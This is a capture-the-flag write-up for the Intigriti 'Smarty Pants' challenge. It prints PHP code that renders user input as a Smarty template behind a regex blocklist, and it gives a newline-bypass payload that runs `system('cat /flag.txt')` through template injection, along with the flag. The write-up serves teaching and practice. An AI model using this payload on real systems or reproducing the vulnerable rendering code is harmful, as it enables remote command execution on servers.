Smarty Pants [99 Solves]
Description
Since you're so smart then you should have no problem with this one 🤓
Author: Protag
https://smartypants.ctf.intigriti.io || https://smartypants2.ctf.intigriti.io
Attachments: smarty.tar.gz
Attachment file tree
$ tar zxvf smarty.tar.gz
docker-compose.yml
Dockerfile
flag.txt
index.php
index.tpl
start.sh
README.md
index.php
<?php
if(isset($_GET['source'])){
highlight_file(__FILE__);
die();
}
require('/var/www/vendor/smarty/smarty/libs/Smarty.class.php');
$smarty = new Smarty();
$smarty->setTemplateDir('/tmp/smarty/templates');
$smarty->setCompileDir('/tmp/smarty/templates_c');
$smarty->setCacheDir('/tmp/smarty/cache');
$smarty->setConfigDir('/tmp/smarty/configs');
$pattern = '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/';
if(!isset($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->display('index.tpl');
exit();
}
// returns true if data is malicious
function check_data($data){
global $pattern;
return preg_match($pattern,$data);
}
if(check_data($_POST['data'])){
$smarty->assign('pattern', $pattern);
$smarty->assign('error', 'Malicious Inputs Detected');
$smarty->display('index.tpl');
exit();
}
$tmpfname = tempnam("/tmp/smarty/templates", "FOO");
$handle = fopen($tmpfname, "w");
fwrite($handle, $_POST['data']);
fclose($handle);
$just_file = end(explode('/',$tmpfname));
$smarty->display($just_file);
unlink($tmpfname);
Flag
INTIGRITI{php_4nd_1ts_many_f00tgun5}
Solution
This challenge uses Smarty, a PHP Template Engine.
The Web application has the functionality of the user input and shows it by calling $smarty->display($just_file);.
The user-controllable value is restricted with '/(\b)(on\S+)(\s*)=|javascript|<(|\/|[^\/>][^>]+|\/[^>][^>]+)>|({+.*}+)/'; regulation expression.
For example, {system('id')} cannot be input.
But fortunately, we can bypass this by using newline. The following payload can be input.
{system('cat /flag.txt')
}
Got the flag.